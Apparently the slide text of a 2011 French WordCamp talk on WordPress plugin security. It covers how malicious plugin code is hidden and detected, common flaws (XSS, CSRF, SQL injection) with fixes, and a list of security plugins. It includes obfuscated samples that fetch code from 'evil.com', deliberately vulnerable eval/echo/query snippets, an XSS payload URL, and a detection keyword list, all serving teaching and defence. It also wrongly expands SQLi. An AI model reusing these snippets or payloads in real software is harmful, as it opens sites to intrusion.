10 façons de casser son site WordPress ... et de le réparer !
Wordpress et la sécurité des plugins
1. WordPress et la Sécurité des Plugins WordPress Francophone ~ Julio Potier ~ @boiteaweb ~ WordCamp Paris 2011 ~
2. 1) C'est quoi un plugin et comment ça marche ? 2) Pourquoi un plugin peut contenir une vulnérabilité ? 3) Peut-on et comment détecter du code malveillant ? 4) Les différentes failles les plus répandues. 5) Sélection de plugin Sécurité pour votre site. Bonus) Sécuriser WordPress au delà des plugins. WordPress Francophone Sommaire
3. Un Plugin : C'est quoi ? Ensemble de fonctions qui viennent se greffer sur votre site dans le but de l’améliorer ou d’ajouter des fonctionnalités. Et comment ça marche ? Un plugin va utiliser ce qu’on apelle les “hooks” qui signifie “hameçons”. Un hook est un point d’entrée dans une fonction WordPress. WordPress Francophone
4. Pourquoi un Plugin peut contenir une vulnérabilité : #1 Acte volontaire de nuire #2 Le manque d'information du développeur #3 L'indifférence du développeur #4 Nouvelles découvertes de failles #5 Repository WordPress piraté WordPress Francophone
5. Peut-on et comment détecter du code malveillant ? : Exemples de codes malveillants : eval( base64_decode( "ZWNobyAkX09QVElPTlNbJ2UnXQ==" ) ); $a='http://www.'; $b='evil'; $c='.com/script.php'; $content = file_get_contents( $a.$b.$c ); $b(); // Équivaut à evil(); WordPress Francophone
6. Peut-on et comment détecter du code malveillant ? : Exemple de code non caché : WordPress Francophone echo $_GET['e']; // XSS eval( $_GET['e'] ); // RCE $wpdb->query( $_GET['e'] ); // SQLi "eval","base64","rot13","include","require","mail","wp_mail" Quelques mots-clés :
7. Comment choisir son Plugin : # Regarder le nombre de téléchargements # Lire le Changelog à la recherche de correctifs sécu # Trouver la date de création du plugin # Chercher sur Google "security" ou "problem" ou "exploit" ou "faille" suivi du nom du plugin # Lire les commentaires et avis sur les forums liés # Tester le plugin sur un site test ou en local # Le faire auditer si le doute subsiste WordPress Francophone
8. Comment choisir son Thème : # Regarder le nombre de téléchargements # Lire le Changelog à la recherche de correctifs sécu # Trouver la date de mise à jour du thème # Chercher sur Google "security" ou "problem" ou "exploit" ou "faille" suivi du nom du thème # Lire les commentaires et avis sur les forums liés # Tester le thème sur un site test ou en local # Le faire auditer si le doute subsiste WordPress Francophone # Le trouver sur un site sérieux et compétent # Le faire faire par un intégrateur professionnel
9. Les failles les plus répandues : XSS - C ross ( X ) S ite S cripting http://baw.li/dico/XSS WordPress Francophone Bonjour <?= $_GET['log'] ?> ! http://target.com/?log=<script>alert("This is a XSS vuln for #WCP2011");</script>
10. Les failles les plus répandues : XSS - C ross ( X ) S ite S cripting http://baw.li/dico/XSS WordPress Francophone <input value="<?= $opts['log'] ?>" /> $opts = get_option( 'mon_plugin' );
11. Les failles les plus répandues : CSRF - C ross ( X ) S ite R equest F orgery http://baw.li/dico/CSRF WordPress Francophone <form> <input name="option" value="evil" /> <input type="submit" /> </form> Un token sécurité est manquant ! <input name="_wpnonce" value="j2u1l1i2op" />
12. Les failles les plus répandues : SQLi - S imple Q uery L anguage I njection http://baw.li/dico/sqli WordPress Francophone $wpdb->query( 'SELECT user_login FROM wp_users WHERE user_login = ' . $opts['log'] ); Les requêtes doivent être préparées ! $wpdb->query( $wpdb->prepare( 'SELECT user_login FROM wp_users WHERE user_login = %s', $opts['log'] ) );
14. Liste non exhaustive de Plugins # AntiVirus # AskApache Password Protect # BulletProof Security # Secure WordPress et WP Security Scan # Exploit Scanner # Ultimate Security Checker # WordPress Plugin Security Checker # Chap Secure Login # Login Lock # One Time Password # User Role Editor # BackWPUp # Audit Trail # WordPress Firewall (!!!) WordPress Francophone
15. Bonus : Sécuriser WordPress au delà des Plugins # Faites des sauvegardes régulières. # Tenez WordPress et ses plugins et thèmes à jour. # Déplacez wp-config.php d’un cran dans votre arborescence. # Choisissez un bon mot de passe. # Modifiez le préfixe " wp_ " de votre base de données. # Supprimez le compte “ admin ”. # Ajoutez un “ Options -Indexes ” dans votre .htaccess. # Installer quelques un des plugins cités précédemment. # Cacher le n° de version ? Non ... WordPress Francophone